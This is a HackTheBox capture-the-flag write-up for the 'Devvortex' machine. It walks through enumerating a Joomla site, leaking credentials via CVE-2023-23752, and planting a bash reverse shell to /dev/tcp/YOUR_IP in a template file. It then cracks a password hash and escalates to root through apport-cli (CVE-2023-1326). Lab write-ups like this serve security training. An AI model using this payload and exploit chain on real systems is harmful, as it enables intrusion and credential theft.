JohnJoeLee

Devvortex — HackTheBox [Writeup]

Let’s start with a basic nmap scan

We can see that 22 (SSH) and 80 (HTTP) ports are open. If you open it in the browser you will be redirected to devvortex.htb. It means we need to add it in /etc/hosts

After doing the previous step and refreshing the page we can see the website content

After examining the website I didn’t find anything interesting. Then I started enumerating directories and vhosts using ffuf

Directory Enumeration

VHost Enumeration

Cool. We found the dev.devvortex.htb subdomain. We need to add it in the hosts file too.

/etc/hosts file

Perfect. Now let’s run a directory scan on this subdomain

We identified a few directories. /administrator directory redirects us to Joomla admin panel

We can you joomscan tool to get more information about the website

Joomla version of the website is 4.2.6. If we search for Joomla 4.2.6 vulnerabilities we will find out that there exists one interesting vulnerability with a publicly known exploit, which allows unauthenticated user access to webservice endpoints which then can lead to information disclosure

Joomscan Result

I used this PoC https://github.com/adhikara13/CVE-2023-23752

script gives us database name, username and password. I also tried and used it to login the admin panel and luckily it worked.

When you have Joomla admin credentials it’s so easy to get RCE too using a simple trick. You can check details on hacktricks.

Steps to RCE:

  1. Go to System > Site Templates > Cassiopeia Details and Files

  2. Choose the file you want to edit (I used error.php)

  3. Add the following code in the file and click Save

# Replace YOUR_IP with your HackTheBox VPN ip address
system("bash -c'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'")

  1. Start a listener

  1. Now load the file you edited (error.php in this case) using the URL http://dev.devvortex.htb/templates/cassiopeia/error.php and you will get the reverse shell and upgrade to tty shell for better experience

We already have Database Credentials (you can also see them in /var/www/dev.devvortex.htb/configuration.php file) which we exfiltrated earlier using Joomla exploit. Let’s try and connect to the database and try to get more information

you can list tables using show tables; command and you will find out there is a sd4fg_users table

Now select data from the table

Great! There is another user’s password hash. We can use john to crack it

You can also see in /etc/passwd file that logan is a Linux user

It seems like we might be able to log in ssh using this user and get a user flag

Bingo 🥳

Now it’s time for privilege escalation. Before running LinPEAS or anything I always check sudo -l command to see which commands the user can run using sudo. logan user can run apport-cli using sudo

apport-cli is a CLI tool for collecting and analysing data about crashed processes.

Few months ago CVE-2023–1326 was publish for apport-cli allows attacker to escalate privileges on the system and it looks like there exists publicly known exploits for this vulnerability CVE-2023-1326 - Github Advisory Database

Let’s reproduce it

Steps:

  1. Create a file in /var/crash directory

  1. execute *sudo apport-cli -c /var/crash/crash.crash less *and choose **V **when prompted

  1. Wait for a few seconds and after you see a colon (:) symbol type !whoami and click enter

Perfect. We are root

Now type !cat /root/root.txt to get a flag

Pwn3d! 🏁